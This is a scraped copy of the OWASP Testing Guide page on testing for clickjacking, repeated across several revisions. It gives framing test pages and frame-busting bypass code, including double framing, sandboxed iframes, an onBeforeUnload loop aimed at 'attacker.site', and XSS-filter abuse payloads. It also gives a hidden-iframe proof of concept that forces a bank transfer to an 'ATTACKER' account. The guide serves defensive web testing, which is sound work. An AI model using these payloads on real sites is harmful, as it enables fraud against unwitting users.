</head>
<body>
<p>Website is vulnerable to clickjacking!</p>
<iframe src="http://www.target.site" width="500" height="500"></iframe>
</body>
</html>
</pre>

'''Result Expected:'''
If you can see both the text "Website is vulnerable to clickjacking!" at the top of the page and your target web page successfully loaded into the frame, then your site is vulnerable and has no type of protection against Clickjacking attacks. Now you can directly create a "proof of concept" to demonstrate that an attacker could exploit this vulnerability.

===Bypass Clickjacking protection:===
In case in which you only see the target site or the text "Website is vulnerable to clickjacking!" but nothing in the iframe this mean that the target probably has some form of protection against clickjacking. It’s important to note that this isn’t a guarantee that the page is totally immune to clickjacking.

Methods to protect a web page from clickjacking can be divided in two macro-categories:
* Client side protection: Frame Busting
* Server side protection: X-Frame-Options

In some circumstances, every single type of defense could be bypassed. Following are presented the main methods of protection from these attacks and techniques to bypass them.

====Client side protection: Frame Busting====
The most common client side method, that has been developed to protect a web page from clickjacking, is called Frame Busting and it consists of a script in each page that should not be framed. The aim of this technique is to prevent a site from functioning when it is loaded inside a frame.

The structure of frame busting code typically consists of a "conditional statement" and a "counter-action" statement.
For this type of protection, there are some work arounds that fall under the name of "Bust frame busting". Some of this techniques are browser-specific while others work across browsers.

'''Mobile website version'''
<br>
Mobile versions of the website are usually smaller and faster than the desktop ones, and they have to be less complex than the main application. Mobile variants have often less protection since there is the wrong assumption that an attacker could not attack an application by the smart phone. This is fundamentally wrong, because an attacker can fake the real origin given by a web browser, such that a non-mobile victim may be able to visit an application made for mobile users.
From this assumption follows that in some cases it is not necessary to use techniques to evade frame busting when there are unprotected alternatives, which allow the use of same attack vectors.

'''Double Framing'''
<br>
Some frame busting techniques try to break frame by assigning a value to the "parent.location" attribute in the "counter-action" statement.

Such actions are, for example:
* self.parent.location = document.location
* parent.location.href = self.location
* parent.location = self.location

This method works well until the target page is framed by a single page. However, if the attacker encloses the target web page in one frame which is nested in another one (a double frame), then trying to access to "parent.location" becomes a security violation in all popular browsers, due to the descendant frame navigation policy. This security violation disables the counter-action navigation.

Target site frame busting code (target site):

<pre>
if(top.location!=self.locaton) {
parent.location = self.location;
}
</pre>

Attacker’s top frame (fictitious2.html):
<pre>
<iframe src="fictitious.html">
</pre>

Attacker’s fictitious sub-frame (fictitious.html):
<pre>
<iframe src="http://target site">
</pre>

'''Disabling javascript'''
<br>
Since these type of client side protections relies on JavaScript frame busting code, if the victim has JavaScript disabled or it is possible for an attacker to disable JavaScript code, the web page will not have any protection mechanism against clickjacking.

There are three deactivation techniques that can be used with frames:
* Restricted frames with Internet Explorer: Starting from Internet Explorer 6, a frame can have the "security" attribute that, if it is set to the value "restricted", ensures that JavaScript code, ActiveX controls, and re-directs to other sites do not work in the frame.

Example:
<pre>
<iframe src="http://target site" security="restricted"></iframe>
</pre>

* Sandbox attribute: with HTML5 there is a new attribute called "sandbox". It enables a set of restrictions on content loaded into the iframe. At this moment this attribute is only compatible whit Chrome and Safari.

Example:
<pre>
<iframe src="http://target site" sandbox></iframe>
</pre>

* Design mode: Paul Stone showed a security issue concerning the "designMode" that can be turned on in the framing page (via document.designMode), disabling JavaScript in top and sub-frame. The design mode is currently implemented in Firefox and IE8.

'''onBeforeUnload event'''
<br>
The onBeforeUnload event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating traget's frame busting attempt.

The attacker can use this attack by registering an unload event on the top page using the following example code:

<pre>
<h1>www.fictitious.site</h1>
<script>
window.onbeforeunload = function()
{
return " Do you want to leave fictitious.site?";
}
</script>
<iframe src="http://target site">
</pre>

The previous technique requires the user interaction but, the same result, can be achieved without prompting the user. To do this the attacker have to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting (for example every millisecond) a navigation request to a web page that responds with a "HTTP/1.1 204 No Content" header.

Since with this response the browser will do nothing, the resulting of this operation is the flushing of the request pipeline, rendering the original frame busting attempt futile.

Following an example code:

204 page:
<pre>
<?php
header("HTTP/1.1 204 No Content");
?>
</pre>

Attacker's page:
<pre>
<script>
var prevent_bust = 0;
window.onbeforeunload = function() {
prevent_bust++;
};
setInterval(
function() {
if (prevent_bust > 0) {
prevent_bust -= 2;
window.top.location = "http://attacker.site/204.php";
}
}, 1);
</script>
<iframe src="http://target site">
</pre>

'''XSS Filter'''
<br>
Starting from Google Chrome 4.0 and from IE8 there were introduced XSS filters to protect users from reflected XSS attacks. Nava and Lindsay have observed that these kind of filters can be used to deactivate frame busting code by faking it as malicious code.
* <b>IE8 XSS filter</b>: this filter has visibility into all requests and responses parameters flowing through the web browser and it compares them to a set of regular expressions in order to look for reflected XSS attempts. When the filter identifies a possible XSS attacks; it disable all inline scripts within the page, including frame busting scripts (the same thing could be done with external scripts). For this reason an attacker could induces a false positive by inserting the beginning of the frame busting script into a request parameters.

Example:
Target web page frame busting code:
<pre>
<script>
if ( top != self )
{
top.location=self.location;
}
</script>
</pre>
Attacker code:
<pre>
<iframe src=”http://target site/?param=<script>if”>
</pre>

* <b>Chrome 4.0 XSSAuditor filter</b>: It has a little different behaviour compared to IE8 XSS filter, in fact with this filter an attacker could deactivate a "script" by passing its code in a request parameter. This enables the framing page to specifically target a single snippet containing the frame busting code, leaving all the other codes intact.

Example:
Target web page frame busting code:
<pre>
<script>
if ( top != self )
{
top.location=self.location;
}
</script>
</pre>

Attacker code:
<pre>
<iframe src=”http://target site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D”>
</pre>

'''Redefining location'''
<br>
For several browser the "document.location" variable is an immutable attribute. However, for some version of Internet Explorer and Safari, it is possible to redefine this attribute. This fact can be exploited to evade frame busting code.
* <b>Redefining location in IE7 and IE8</b>: it is possible to redefine "location" as it is illustrated in the following example. By defining "location" as a variable, any code that tries to read or to navigate by assigning "top.location" will fail due to a security violation and so the frame busting code is suspended.

Example:
<pre>
<script>
var location = "xyz";
</script>
<iframe src="http://target site"></iframe>
</pre>

* <b>Redefining location in Safari 4.0.4</b>: To bust frame busting code with "top.location" it is possible to bind "location" to a function via defineSetter (through window), so that an attempt to read or navigate to the "top.location" will fail.

Example:
<pre>
<script>
window.defineSetter("location" , function(){});
</script>
<iframe src="http://target site"></iframe>
</pre>

====Server side protection: X-Frame-Options====
An alternative approach to client side frame busting code was implemented by Microsoft and it consists of an header based defense. This new "X-FRAME-OPTIONS" header is sent from the server on HTTP responses and is used to mark web pages that shouldn't be framed. This header can take the values DENY, SAMEORIGIN, ALLOW-FROM origin, or non-standard ALLOWALL. Recommended value is DENY.

The "X-FRAME-OPTIONS" is a very good solution, and was adopted by major browser, but also for this technique there are some limitations that could lead in any case to exploit the clickjacking vulnerability.

'''Browser compatibility'''
<br>
Since the "X-FRAME-OPTIONS" was introduced in 2009, this header is not compatible with old browser. So every user that doesn't have an updated browser could be victim of clickjacking attack.

{| class="wikitable"
|-
! Browser !! Lowest version
|-
| Internet Explorer || 8.0
|-
| Firefox (Gecko) || 3.6.9 (1.9.2.9)
|-
| Opera || 10.50
|-
| Safari || 4.0
|-
| Chrome || 4.1.249.1042
|}

'''Proxies'''
<br>
Web proxies are known for adding and stripping headers. In the case in which a web proxy strips the "X-FRAME-OPTIONS" header then the site loses its framing protection.

'''Mobile website version'''
<br>
Also in this case, since the "X-FRAME-OPTIONS" has to be implemented in every page of the website, the developers may have not protected the mobile version of the website.

===Create a "proof of concept" ===
Once we have discovered that the site we are testing is vulnerable to clickjacking attack, we can proceed with the development of a "proof of concept" to demonstrate the vulnerability. It is important to note that, as mentioned previously, these attacks can be used in conjunction with other forms of attacks (for example CSRF attacks) and could lead to overcome anti-CSRF tokens.
In this regard we can imagine that, for example, the target site allows to authenticated and authorized users to make a transfer of money to another account.

Suppose that to execute the transfer the developers have planned three steps. In the first step the user fill a form with the destination account and the amount. In the second step, whenever the user submits the form, is presented a summary page asking the user confirmation (like the one presented in the following picture).

[[Image:Clickjacking example step2.png|400px|thumb|center]]

Following a snippet of the code for the step 2:

<pre>
//generate random anti CSRF token
$csrfToken = md5(uniqid(rand(), TRUE));

//set the token as in the session data
$_SESSION['antiCsrf'] = $csrfToken;

//Transfer form with the hidden field
$form = '
<form name="transferForm" action="confirm.php" method="POST">
<div class="box">
<h1>BANK XYZ - Confirm Transfer</h1>
<p>
Do You want to confirm a transfer of <b>'. $_REQUEST['amount'] .' €</b> to account: <b>'. $_REQUEST['account'] .'</b> ?
</p>
<label>
<input type="hidden" name="amount" value="' . $_REQUEST['amount'] . '" />
<input type="hidden" name="account" value="' . $_REQUEST['account'] . '" />
<input type="hidden" name="antiCsrf" value="' . $csrfToken . '" />
<input type="submit" class="button" value="Transfer Money" />
</label>

</div>
</form>';
</pre>

In the last step are planned security controls and then, if all is ok, the transfer is done. In the following listing a snippet of code of the last step is presented (<b>Note</b>: in this example, for simplicity, there is no input sanitization, but it has no relevance to block this type of attack):

<pre>
if( (!empty($_SESSION['antiCsrf'])) && (!empty($_POST['antiCsrf'])) )
{

//here we can suppose input sanitization code…

//check the anti-CSRF token
if( ($_SESSION['antiCsrf'] == $_POST['antiCsrf']) )
{
echo '<p> '. $_POST['amount'] .' € successfully transfered to account: '. $_POST['account'] .' </p>';
}

}
else
{
echo '<p>Transfer KO</p>';
}
</pre>

As you can see the code is protected from CSRF attack both with a random token generated in the second step and accepting only variable passed via POST method. In this situation an attacker could forge a CSRF + Clickjacking attack to evade anti-CSRF protection and force a victim to do a money transfer without her consent.

The target page for the attack is the second step of the money transfer procedure. Since the developers put the security controls only in the last step, thinking that this is secure enough, the attacker could pass the account and amount parameters via GET method. (<b>Note</b>: there is an advanced clickjacking attack that permits to force users to fill a form, so also in the case in which is required to fill a form, the attack is feasible).

The attacker's page may look like a simple and harmless web page like the one presented below:

[[Image:clickjacking_example_malicious_page_1.png|400px|thumb|center]]

But playing with the CSS opacity value we can see what is hidden under the seemingly innocuous web page.

[[Image:clickjacking_example_malicious_page_2.png|400px|thumb|center]]

The clickjacking code to create this page is presented below:

<pre>
<html>
<head>
<title>Trusted web page</title>

<style type="text/css"></style>

</head>
<body>
<div id="content">
<h1>www.owasp.com</h1>
<form action="http://www.owasp.com">
<input type="submit" class="button" value="Click and go!">
</form>
</div>

<iframe id="clickjacking" src="http://localhost/csrf/transfer.php?account=ATTACKER&amount=10000" width="500" height="500" scrolling="no" frameborder="none">
</iframe>
</body>
</html>

</pre>

With the help of CSS (note the #clickjacking block) we can mask and suitably position the iframe in such a way as to match the buttons. If the victim click on the button "Click and go!" the form is submitted and the transfer is completed.

[[Image:clickjacking_example_malicious_page_3.png|400px|thumb|center]]

The example presented uses only basic clickjacking technique, but with advanced technique is possible to force user filling form with values defined by the attacker.

==Tools==
* Context Information Security: "Clickjacking Tool" - http://www.contextis.com/research/tools/clickjacking-tool/

== References ==
'''OWASP Resources'''
* [[Clickjacking]]

'''Whitepapers'''
* Marcus Niemietz: "UI Redressing: Attacks and Countermeasures Revisited" - http://ui-redressing.mniemietz.de/uiRedressing.pdf
* "Clickjacking" - https://en.wikipedia.org/wiki/Clickjacking
* Gustav Rydstedt, Elie Bursztein, Dan Boneh, and Collin Jackson: "Busting Frame Busting: a Study of Clickjacking Vulnerabilities on Popular Sites" - http://seclab.stanford.edu/websec/framebusting/framebust.pdf
* Paul Stone: "Next generation clickjacking" - https://media.blackhat.com/bh-eu-10/presentations/Stone/BlackHat-EU-2010-Stone-Next-Generation-Clickjacking-slides.pdf

Testing for Clickjacking (OTG-CLIENT-009)

2014-12-01T19:23:23Z

Nvhaver: /* Create a "proof of concept" */

{{Template:OWASP Testing Guide v4}}

== Summary ==
"Clickjacking" (which is a subset of the "UI redressing") is a malicious technique that consists of deceiving a web user into interacting (in most cases by clicking) with something different to what the user believes they are interacting with. This type of attack, that can be used alone or in combination with other attacks, could potentially send unauthorized commands or reveal confidential information while the victim is interacting on seemingly harmless web pages. The term "Clickjacking" was coined by Jeremiah Grossman and Robert Hansen in 2008.

A Clickjacking attack uses seemingly innocuous features of HTML and Javascript to force the victim to perform undesired actions, such as clicking on a button that appears to perform another operation. This is a "client side" security issue that affects a variety of browsers and platforms.

To carry out this type of technique the attacker has to create a seemingly harmless web page that loads the target application through the use of an iframe (suitably concealed through the use of CSS code). Once this is done, the attacker could induce the victim to interact with his fictitious web page by other means (like for example social engineering). Like others attacks, an usual prerequisite is that the victim is authenticated against the attacker's target website.

[[Image:clickjacking_description.png|400px|thumb|center]]

Once the victim is surfing on the fictitious web page, he thinks that he is interacting with the visible user interface, but effectively he is performing actions on the hidden page. Since the hidden page is an authentic page, the attacker can deceive users into performing actions which they never intended to perform through an "ad hoc" positioning of the elements in the web page.

[[Image:Masked_iframe.png|400px|thumb|center]]

The power of this method is due to the fact that the actions performed by the victim are originated from the authentic target web page (hidden but authentic). Consequently some of the anti-CSRF protections, that are deployed by the developers to protect the web page from CSRF attacks, could be bypassed.

===How to Test===
As mentioned above, this type of attack is often designed to allow an attacker site to induce user's actions on the target site even if anti-CSRF tokens are being used. So it's important, like for the CSRF attack, to individuate web pages of the target site that it take input from the user.

We have to discover if the website that we are testing has no protections against clickjacking attacks or, if the developers have implemented some forms of protection, if these techniques are liable to bypass. Once we know that the website is vulnerable, we can create a "proof of concept" to exploit the vulnerability.

The first step to discover if a website is vulnerable, is to check if the target web page could be loaded into an iframe.
To do this you need to create a simple web page that includes a frame containing the target web page. The HTML code to create this testing web page is displayed in the following snippet:

<pre>
<html>
<head>
<title>Clickjack test page</title>
</head>
<body>
<p>Website is vulnerable to clickjacking!</p>
<iframe src="http://www.target.site" width="500" height="500"></iframe>
</body>
</html>
</pre>

'''Result Expected:'''
If you can see both the text "Website is vulnerable to clickjacking!" at the top of the page and your target web page successfully loaded into the frame, then your site is vulnerable and has no type of protection against Clickjacking attacks. Now you can directly create a "proof of concept" to demonstrate that an attacker could exploit this vulnerability.

===Bypass Clickjacking protection:===
In case in which you only see the target site or the text "Website is vulnerable to clickjacking!" but nothing in the iframe this mean that the target probably has some form of protection against clickjacking. It’s important to note that this isn’t a guarantee that the page is totally immune to clickjacking.

Methods to protect a web page from clickjacking can be divided in two macro-categories:
* Client side protection: Frame Busting
* Server side protection: X-Frame-Options

In some circumstances, every single type of defense could be bypassed. Following are presented the main methods of protection from these attacks and techniques to bypass them.

====Client side protection: Frame Busting====
The most common client side method, that has been developed to protect a web page from clickjacking, is called Frame Busting and it consists of a script in each page that should not be framed. The aim of this technique is to prevent a site from functioning when it is loaded inside a frame.

The structure of frame busting code typically consists of a "conditional statement" and a "counter-action" statement.
For this type of protection, there are some work arounds that fall under the name of "Bust frame busting". Some of this techniques are browser-specific while others work across browsers.

'''Mobile website version'''
<br>
Mobile versions of the website are usually smaller and faster than the desktop ones, and they have to be less complex than the main application. Mobile variants have often less protection since there is the wrong assumption that an attacker could not attack an application by the smart phone. This is fundamentally wrong, because an attacker can fake the real origin given by a web browser, such that a non-mobile victim may be able to visit an application made for mobile users.
From this assumption follows that in some cases it is not necessary to use techniques to evade frame busting when there are unprotected alternatives, which allow the use of same attack vectors.

'''Double Framing'''
<br>
Some frame busting techniques try to break frame by assigning a value to the "parent.location" attribute in the "counter-action" statement.

Such actions are, for example:
* self.parent.location = document.location
* parent.location.href = self.location
* parent.location = self.location

This method works well until the target page is framed by a single page. However, if the attacker encloses the target web page in one frame which is nested in another one (a double frame), then trying to access to "parent.location" becomes a security violation in all popular browsers, due to the descendant frame navigation policy. This security violation disables the counter-action navigation.

Target site frame busting code (target site):

<pre>
if(top.location!=self.locaton) {
parent.location = self.location;
}
</pre>

Attacker’s top frame (fictitious2.html):
<pre>
<iframe src="fictitious.html">
</pre>

Attacker’s fictitious sub-frame (fictitious.html):
<pre>
<iframe src="http://target site">
</pre>

'''Disabling javascript'''
<br>
Since these type of client side protections relies on JavaScript frame busting code, if the victim has JavaScript disabled or it is possible for an attacker to disable JavaScript code, the web page will not have any protection mechanism against clickjacking.

There are three deactivation techniques that can be used with frames:
* Restricted frames with Internet Explorer: Starting from Internet Explorer 6, a frame can have the "security" attribute that, if it is set to the value "restricted", ensures that JavaScript code, ActiveX controls, and re-directs to other sites do not work in the frame.

Example:
<pre>
<iframe src="http://target site" security="restricted"></iframe>
</pre>

* Sandbox attribute: with HTML5 there is a new attribute called "sandbox". It enables a set of restrictions on content loaded into the iframe. At this moment this attribute is only compatible whit Chrome and Safari.

Example:
<pre>
<iframe src="http://target site" sandbox></iframe>
</pre>

* Design mode: Paul Stone showed a security issue concerning the "designMode" that can be turned on in the framing page (via document.designMode), disabling JavaScript in top and sub-frame. The design mode is currently implemented in Firefox and IE8.

'''onBeforeUnload event'''
<br>
The onBeforeUnload event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating traget's frame busting attempt.

The attacker can use this attack by registering an unload event on the top page using the following example code:

<pre>
<h1>www.fictitious.site</h1>
<script>
window.onbeforeunload = function()
{
return " Do you want to leave fictitious.site?";
}
</script>
<iframe src="http://target site">
</pre>

The previous technique requires the user interaction but, the same result, can be achieved without prompting the user. To do this the attacker have to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting (for example every millisecond) a navigation request to a web page that responds with a "HTTP/1.1 204 No Content" header.

Since with this response the browser will do nothing, the resulting of this operation is the flushing of the request pipeline, rendering the original frame busting attempt futile.

Following an example code:

204 page:
<pre>
<?php
header("HTTP/1.1 204 No Content");
?>
</pre>

Attacker's page:
<pre>
<script>
var prevent_bust = 0;
window.onbeforeunload = function() {
prevent_bust++;
};
setInterval(
function() {
if (prevent_bust > 0) {
prevent_bust -= 2;
window.top.location = "http://attacker.site/204.php";
}
}, 1);
</script>
<iframe src="http://target site">
</pre>

'''XSS Filter'''
<br>
Starting from Google Chrome 4.0 and from IE8 there were introduced XSS filters to protect users from reflected XSS attacks. Nava and Lindsay have observed that these kind of filters can be used to deactivate frame busting code by faking it as malicious code.
* <b>IE8 XSS filter</b>: this filter has visibility into all requests and responses parameters flowing through the web browser and it compares them to a set of regular expressions in order to look for reflected XSS attempts. When the filter identifies a possible XSS attacks; it disable all inline scripts within the page, including frame busting scripts (the same thing could be done with external scripts). For this reason an attacker could induces a false positive by inserting the beginning of the frame busting script into a request parameters.

Example:
Target web page frame busting code:
<pre>
<script>
if ( top != self )
{
top.location=self.location;
}
</script>
</pre>
Attacker code:
<pre>
<iframe src=”http://target site/?param=<script>if”>
</pre>

* <b>Chrome 4.0 XSSAuditor filter</b>: It has a little different behaviour compared to IE8 XSS filter, in fact with this filter an attacker could deactivate a "script" by passing its code in a request parameter. This enables the framing page to specifically target a single snippet containing the frame busting code, leaving all the other codes intact.

Example:
Target web page frame busting code:
<pre>
<script>
if ( top != self )
{
top.location=self.location;
}
</script>
</pre>

Attacker code:
<pre>
<iframe src=”http://target site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D”>
</pre>

'''Redefining location'''
<br>
For several browser the "document.location" variable is an immutable attribute. However, for some version of Internet Explorer and Safari, it is possible to redefine this attribute. This fact can be exploited to evade frame busting code.
* <b>Redefining location in IE7 and IE8</b>: it is possible to redefine "location" as it is illustrated in the following example. By defining "location" as a variable, any code that tries to read or to navigate by assigning "top.location" will fail due to a security violation and so the frame busting code is suspended.

Example:
<pre>
<script>
var location = "xyz";
</script>
<iframe src="http://target site"></iframe>
</pre>

* <b>Redefining location in Safari 4.0.4</b>: To bust frame busting code with "top.location" it is possible to bind "location" to a function via defineSetter (through window), so that an attempt to read or navigate to the "top.location" will fail.

Example:
<pre>
<script>
window.defineSetter("location" , function(){});
</script>
<iframe src="http://target site"></iframe>
</pre>

====Server side protection: X-Frame-Options====
An alternative approach to client side frame busting code was implemented by Microsoft and it consists of an header based defense. This new "X-FRAME-OPTIONS" header is sent from the server on HTTP responses and is used to mark web pages that shouldn't be framed. This header can take the values DENY, SAMEORIGIN, ALLOW-FROM origin, or non-standard ALLOWALL. Recommended value is DENY.

The "X-FRAME-OPTIONS" is a very good solution, and was adopted by major browser, but also for this technique there are some limitations that could lead in any case to exploit the clickjacking vulnerability.

'''Browser compatibility'''
<br>
Since the "X-FRAME-OPTIONS" was introduced in 2009, this header is not compatible with old browser. So every user that doesn't have an updated browser could be victim of clickjacking attack.

{| class="wikitable"
|-
! Browser !! Lowest version
|-
| Internet Explorer || 8.0
|-
| Firefox (Gecko) || 3.6.9 (1.9.2.9)
|-
| Opera || 10.50
|-
| Safari || 4.0
|-
| Chrome || 4.1.249.1042
|}

'''Proxies'''
<br>
Web proxies are known for adding and stripping headers. In the case in which a web proxy strips the "X-FRAME-OPTIONS" header then the site loses its framing protection.

'''Mobile website version'''
<br>
Also in this case, since the "X-FRAME-OPTIONS" has to be implemented in every page of the website, the developers may have not protected the mobile version of the website.

===Create a "proof of concept" ===
Once we have discovered that the site we are testing is vulnerable to clickjacking attack, we can proceed with the development of a "proof of concept" to demonstrate the vulnerability. It is important to note that, as mentioned previously, these attacks can be used in conjunction with other forms of attacks (for example CSRF attacks) and could lead to overcome anti-CSRF tokens.
In this regard we can imagine that, for example, the target site allows to authenticated and authorized users to make a transfer of money to another account.

Suppose that to execute the transfer the developers have planned three steps. In the first step the user fill a form with the destination account and the amount. In the second step, whenever the user submits the form, is presented a summary page asking the user confirmation (like the one presented in the following picture).

[[Image:Clickjacking example step2.png|400px|thumb|center]]

Following a snippet of the code for the step 2:

<pre>
//generate random anti CSRF token
$csrfToken = md5(uniqid(rand(), TRUE));

//set the token as in the session data
$_SESSION['antiCsrf'] = $csrfToken;

//Transfer form with the hidden field
$form = '
<form name="transferForm" action="confirm.php" method="POST">
<div class="box">
<h1>BANK XYZ - Confirm Transfer</h1>
<p>
Do You want to confirm a transfer of <b>'. $_REQUEST['amount'] .' €</b> to account: <b>'. $_REQUEST['account'] .'</b> ?
</p>
<label>
<input type="hidden" name="amount" value="' . $_REQUEST['amount'] . '" />
<input type="hidden" name="account" value="' . $_REQUEST['account'] . '" />
<input type="hidden" name="antiCsrf" value="' . $csrfToken . '" />
<input type="submit" class="button" value="Transfer Money" />
</label>

</div>
</form>';
</pre>

In the last step are planned security controls and then, if all is ok, the transfer is done. In the following listing a snippet of code of the last step is presented (<b>Note</b>: in this example, for simplicity, there is no input sanitization, but it has no relevance to block this type of attack):

<pre>
if( (!empty($_SESSION['antiCsrf'])) && (!empty($_POST['antiCsrf'])) )
{

//here we can suppose input sanitization code…

//check the anti-CSRF token
if( ($_SESSION['antiCsrf'] == $_POST['antiCsrf']) )
{
echo '<p> '. $_POST['amount'] .' € successfully transfered to account: '. $_POST['account'] .' </p>';
}

}
else
{
echo '<p>Transfer KO</p>';
}
</pre>

As you can see the code is protected from CSRF attack both with a random token generated in the second step and accepting only variable passed via POST method. In this situation an attacker could forge a CSRF + Clickjacking attack to evade anti-CSRF protection and force a victim to do a money transfer without her consent.

The target page for the attack is the second step of the money transfer procedure. Since the developers put the security controls only in the last step, thinking that this is secure enough, the attacker could pass the account and amount parameters via GET method. (<b>Note</b>: there is an advanced clickjacking attack that permits to force users to fill a form, so also in the case in which is required to fill a form, the attack is feasible).

The attacker's page may look a simple and harmless web page like the one presented below:

[[Image:clickjacking_example_malicious_page_1.png|400px|thumb|center]]

But playing with the CSS opacity value we can see what is hidden under a seemingly innocuous web page.

[[Image:clickjacking_example_malicious_page_2.png|400px|thumb|center]]

The clickjacking code to create this page is presented below:

<pre>
<html>
<head>
<title>Trusted web page</title>

<style type="text/css"></style>

</head>
<body>
<div id="content">
<h1>www.owasp.com</h1>
<form action="http://www.owasp.com">
<input type="submit" class="button" value="Click and go!">
</form>
</div>

<iframe id="clickjacking" src="http://localhost/csrf/transfer.php?account=ATTACKER&amount=10000" width="500" height="500" scrolling="no" frameborder="none">
</iframe>
</body>
</html>

</pre>

With the help of CSS (note the #clickjacking block) we can mask and suitably position the iframe in such a way as to match the buttons. If the victim click on the button "Click and go!" the form is submitted and the transfer is completed.

[[Image:clickjacking_example_malicious_page_3.png|400px|thumb|center]]

The example presented uses only basic clickjacking technique, but with advanced technique is possible to force user filling form with values defined by the attacker.

==Tools==
* Context Information Security: "Clickjacking Tool" - http://www.contextis.com/research/tools/clickjacking-tool/

== References ==
'''OWASP Resources'''
* [[Clickjacking]]

'''Whitepapers'''
* Marcus Niemietz: "UI Redressing: Attacks and Countermeasures Revisited" - http://ui-redressing.mniemietz.de/uiRedressing.pdf
* "Clickjacking" - https://en.wikipedia.org/wiki/Clickjacking
* Gustav Rydstedt, Elie Bursztein, Dan Boneh, and Collin Jackson: "Busting Frame Busting: a Study of Clickjacking Vulnerabilities on Popular Sites" - http://seclab.stanford.edu/websec/framebusting/framebust.pdf
* Paul Stone: "Next generation clickjacking" - https://media.blackhat.com/bh-eu-10/presentations/Stone/BlackHat-EU-2010-Stone-Next-Generation-Clickjacking-slides.pdf

Testing for Clickjacking (OTG-CLIENT-009)

2014-12-01T19:19:35Z

Nvhaver: /* Create a "proof of concept" */

{{Template:OWASP Testing Guide v4}}

== Summary ==
"Clickjacking" (which is a subset of the "UI redressing") is a malicious technique that consists of deceiving a web user into interacting (in most cases by clicking) with something different to what the user believes they are interacting with. This type of attack, that can be used alone or in combination with other attacks, could potentially send unauthorized commands or reveal confidential information while the victim is interacting on seemingly harmless web pages. The term "Clickjacking" was coined by Jeremiah Grossman and Robert Hansen in 2008.

A Clickjacking attack uses seemingly innocuous features of HTML and Javascript to force the victim to perform undesired actions, such as clicking on a button that appears to perform another operation. This is a "client side" security issue that affects a variety of browsers and platforms.

To carry out this type of technique the attacker has to create a seemingly harmless web page that loads the target application through the use of an iframe (suitably concealed through the use of CSS code). Once this is done, the attacker could induce the victim to interact with his fictitious web page by other means (like for example social engineering). Like others attacks, an usual prerequisite is that the victim is authenticated against the attacker's target website.

[[Image:clickjacking_description.png|400px|thumb|center]]

Once the victim is surfing on the fictitious web page, he thinks that he is interacting with the visible user interface, but effectively he is performing actions on the hidden page. Since the hidden page is an authentic page, the attacker can deceive users into performing actions which they never intended to perform through an "ad hoc" positioning of the elements in the web page.

[[Image:Masked_iframe.png|400px|thumb|center]]

The power of this method is due to the fact that the actions performed by the victim are originated from the authentic target web page (hidden but authentic). Consequently some of the anti-CSRF protections, that are deployed by the developers to protect the web page from CSRF attacks, could be bypassed.

===How to Test===
As mentioned above, this type of attack is often designed to allow an attacker site to induce user's actions on the target site even if anti-CSRF tokens are being used. So it's important, like for the CSRF attack, to individuate web pages of the target site that it take input from the user.

We have to discover if the website that we are testing has no protections against clickjacking attacks or, if the developers have implemented some forms of protection, if these techniques are liable to bypass. Once we know that the website is vulnerable, we can create a "proof of concept" to exploit the vulnerability.

The first step to discover if a website is vulnerable, is to check if the target web page could be loaded into an iframe.
To do this you need to create a simple web page that includes a frame containing the target web page. The HTML code to create this testing web page is displayed in the following snippet:

<pre>
<html>
<head>
<title>Clickjack test page</title>
</head>
<body>
<p>Website is vulnerable to clickjacking!</p>
<iframe src="http://www.target.site" width="500" height="500"></iframe>
</body>
</html>
</pre>

'''Result Expected:'''
If you can see both the text "Website is vulnerable to clickjacking!" at the top of the page and your target web page successfully loaded into the frame, then your site is vulnerable and has no type of protection against Clickjacking attacks. Now you can directly create a "proof of concept" to demonstrate that an attacker could exploit this vulnerability.

===Bypass Clickjacking protection:===
In case in which you only see the target site or the text "Website is vulnerable to clickjacking!" but nothing in the iframe this mean that the target probably has some form of protection against clickjacking. It’s important to note that this isn’t a guarantee that the page is totally immune to clickjacking.

Methods to protect a web page from clickjacking can be divided in two macro-categories:
* Client side protection: Frame Busting
* Server side protection: X-Frame-Options

In some circumstances, every single type of defense could be bypassed. Following are presented the main methods of protection from these attacks and techniques to bypass them.

====Client side protection: Frame Busting====
The most common client side method, that has been developed to protect a web page from clickjacking, is called Frame Busting and it consists of a script in each page that should not be framed. The aim of this technique is to prevent a site from functioning when it is loaded inside a frame.

The structure of frame busting code typically consists of a "conditional statement" and a "counter-action" statement.
For this type of protection, there are some work arounds that fall under the name of "Bust frame busting". Some of this techniques are browser-specific while others work across browsers.

'''Mobile website version'''
<br>
Mobile versions of the website are usually smaller and faster than the desktop ones, and they have to be less complex than the main application. Mobile variants have often less protection since there is the wrong assumption that an attacker could not attack an application by the smart phone. This is fundamentally wrong, because an attacker can fake the real origin given by a web browser, such that a non-mobile victim may be able to visit an application made for mobile users.
From this assumption follows that in some cases it is not necessary to use techniques to evade frame busting when there are unprotected alternatives, which allow the use of same attack vectors.

'''Double Framing'''
<br>
Some frame busting techniques try to break frame by assigning a value to the "parent.location" attribute in the "counter-action" statement.

Such actions are, for example:
* self.parent.location = document.location
* parent.location.href = self.location
* parent.location = self.location

This method works well until the target page is framed by a single page. However, if the attacker encloses the target web page in one frame which is nested in another one (a double frame), then trying to access to "parent.location" becomes a security violation in all popular browsers, due to the descendant frame navigation policy. This security violation disables the counter-action navigation.

Target site frame busting code (target site):

<pre>
if(top.location!=self.locaton) {
parent.location = self.location;
}
</pre>

Attacker’s top frame (fictitious2.html):
<pre>
<iframe src="fictitious.html">
</pre>

Attacker’s fictitious sub-frame (fictitious.html):
<pre>
<iframe src="http://target site">
</pre>

'''Disabling javascript'''
<br>
Since these type of client side protections relies on JavaScript frame busting code, if the victim has JavaScript disabled or it is possible for an attacker to disable JavaScript code, the web page will not have any protection mechanism against clickjacking.

There are three deactivation techniques that can be used with frames:
* Restricted frames with Internet Explorer: Starting from Internet Explorer 6, a frame can have the "security" attribute that, if it is set to the value "restricted", ensures that JavaScript code, ActiveX controls, and re-directs to other sites do not work in the frame.

Example:
<pre>
<iframe src="http://target site" security="restricted"></iframe>
</pre>

